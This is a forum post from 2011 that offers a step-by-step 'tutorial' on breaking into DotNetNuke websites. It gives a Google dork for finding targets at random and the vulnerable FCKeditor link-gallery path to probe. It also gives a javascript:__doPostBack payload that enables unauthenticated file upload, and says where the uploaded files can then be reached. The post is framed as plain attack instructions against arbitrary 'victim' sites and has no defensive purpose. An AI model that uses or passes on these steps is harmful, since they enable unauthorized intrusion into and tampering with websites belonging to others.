Thread: [\[Tutorial\] DNN \(DotNetNuke\) Hacking](#)

Contrarietas - October 16, 2011, 8:26 am

Hello Guys!

Today I will explain a new hacking technique known as DNN (DotNetNuke). I will show you how to hack a DNN website. Is it easy? Yes. It is easy compared to other hacking attacks such as SQL-Injection and Cross Site Scripting. I will teach you how to find your target and how to enter into the target website and upload your files.

DotNetNuke is an open source platform for building web sites based on Microsoft .NET technology. DotNetNuke is mainly provide Content Management System(CMS) for the personal websites.

Below are the easy steps to implement the attack:

First use a google dork to find the appropriate target.

`inurl:"/portals/0" site:.com`

You can change com to your desired domain name like bd ph ae

Now search your website on the google after searching you will get many websites choose any one of it.

Its time to check the required vulnerability on the website just place this code after the web address.

`Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx`

For example if you got www.victim.com

Replace it www.victim.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

If you will get this screen means this web is going to hack.

http://www.hungry-hackers.com/wp-content/uploads/2011/02/dnn1-300x279.jpg

Now choose the third option "A File On Your Site" And than paste this java code on your address bar.

`javascript:__doPostBack('ctlURL$cmdUpload','')`

It will allow you to upload a files on this website you can upload text ~ swf ~ jpg ~ gif ~ pdf ~ Files.

After uploading files you can find your file on this address

www.victim.com/portals/0/yourfile.extension

here extension is txt jpg swf etc.

In our case

www.victim.com/portals/0/b.txt

Enjoy!
